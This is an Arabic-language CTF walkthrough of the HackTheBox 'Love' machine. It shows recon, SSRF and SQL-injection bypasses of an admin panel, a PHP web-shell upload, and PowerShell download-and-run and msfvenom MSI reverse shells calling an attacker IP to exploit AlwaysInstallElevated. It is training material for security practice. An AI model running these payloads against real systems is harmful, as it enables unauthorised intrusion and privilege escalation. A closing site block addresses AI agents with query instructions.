> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # شرح Love HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * حقن SQL (SQLI) * تزوير الطلبات من جانب الخادم (SSRF) * إساءة استخدام رفع الملفات * استغلال نظام التصويت * إساءة استخدام AlwaysInstallElevated (ملف msiexec/msi) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها في ملف "allPorts" ضمن دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:** استخدام دالة extractport لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات في ملف "targeted": ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

**البحث عن الأدلة:** نستخدم Gobuster للبحث عن الأدلة على الموقع: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

في `admin` من خلال الدليل، نكتشف لوحة إدارة.

## استغلال نظام التصويت: في هذه الحالة، توجد طريقتان للتعامل مع لوحة إدارة نظام التصويت: ### 1. ثغرة SSRF: يكشف المنفذ 443 عن `staging.love.htb` نطاق فرعي نضيفه إلى `/etc/hosts` الملف.

يمكن لهذا الموقع فحص المواقع عبر عنوان URL.

من خلال الفحص `localhost:5000` (غير متاح من الخارج)، نكتشف بيانات الاعتماد: `admin: @LoveIsInTheAir!!!!`

ملاحظة: من الخارج، تظهر الرسالة " You don't have permission to access this resource."، مما يحجب الوصول.

### **2. ثغرة حقن SQL (**[**SQLi**](/ar/web/sql-injection.md)**) :** مع `searchsploit` نبحث عن ثغرات محددة في نظام التصويت ونجد الحمولة التالية:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` باستخدام Burp Suite، نصل إلى لوحة التحكم.

## ثغرة رفع الملفات: بمجرد الدخول إلى لوحة التحكم، يتيح خيار إنشاء مستخدم جديد. نقوم بإنشاء `cmd.php` ملف لتشغيل الأوامر على الخادم:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

لا تطبق اللوحة أي عمليات تحقق أمنية، مما يتيح لنا حقن أوامر (مثلًا، `whoami`). وباختبار أمر ping، نتحقق من الاتصال:

سنتحقق مما إذا كان يمكنه تنفيذ أمر ping

ping 10.10.14.10
tcpdump -i tun0 icmp

مع تلقي الرد، نؤكد إمكانية تنفيذ الأوامر على الجهاز الهدف

**أمر PowerShell للحصول على Reverse Shell** بمجرد أن نرى أننا نستطيع تنفيذ الأوامر، سنحمّل `PS.ps1` السكربت إلى جهازنا. {% embed url="" %} في نهاية السكربت، نضيف السطر التالي: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

سننشئ خادم ويب باستخدام `PS.ps1` البرنامج النصي ```bash python3 -m http.server 80 ``` ثم سنعدّل الأمر ليشير إلى خادم الويب الخاص بنا: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} أخيرًا، سنستمع على المنفذ 4444: ```bash rlwrap nc -nlvp 4444 ```

### علم user.txt:

## تصعيد الامتيازات: ### **الاستطلاع باستخدام winPEASx64.exe** لتنفيذ تصعيد الصلاحيات على خادم Windows، شغّل أولًا `winPEAS` أداة الاستطلاع. {% embed url="" %} تنزيل أداة الاستطلاع WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### التحقق من AlwaysInstallElevated الـ `winPEAS` تتحقق الأداة من إعدادات أمان النظام المختلفة. ونحن مهتمون بشكل خاص بـ `AlwaysInstallElevated` مفتاح السجل. إذا تم ضبط هذا المفتاح على `1` في `HKLM` (HKEY/ LOCAL/ MACHINE)، فهذا يشير إلى أن جميع `.msi` الملفات يمكن تثبيتها بصلاحيات عالية، وهي ثغرة.

{% embed url="" %} **أنشئ ملف .msi للحصول على Reverse Shell** للاستفادة من هذه الثغرة، سننشئ `.msi` ملفًا سيمنحنا، عند تشغيله، Reverse Shell. نستخدم `msfvenom` لتوليد هذا الملف: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **نقل ملف .msi**/ ملف. بعد إنشاء الملف، يجب علينا نقله إلى الجهاز الهدف: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**استمع إلى المنفذ 443**/ قبل تشغيل `.msi` الملف، يجب أن نستمع إلى المنفذ الذي حددناه. لنستخدم `nc` (netcat) لهذا: ```powershell rlwrap nc -nlvp 443 ``` **تنفيذ أمر التثبيت**/ أخيرًا، نشغّل `.msi` الملف باستخدام `msiexec`، مما يؤدي إلى التثبيت الصامت: ```powershell msiexec /quiet /qn /i reverse.msi ```

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.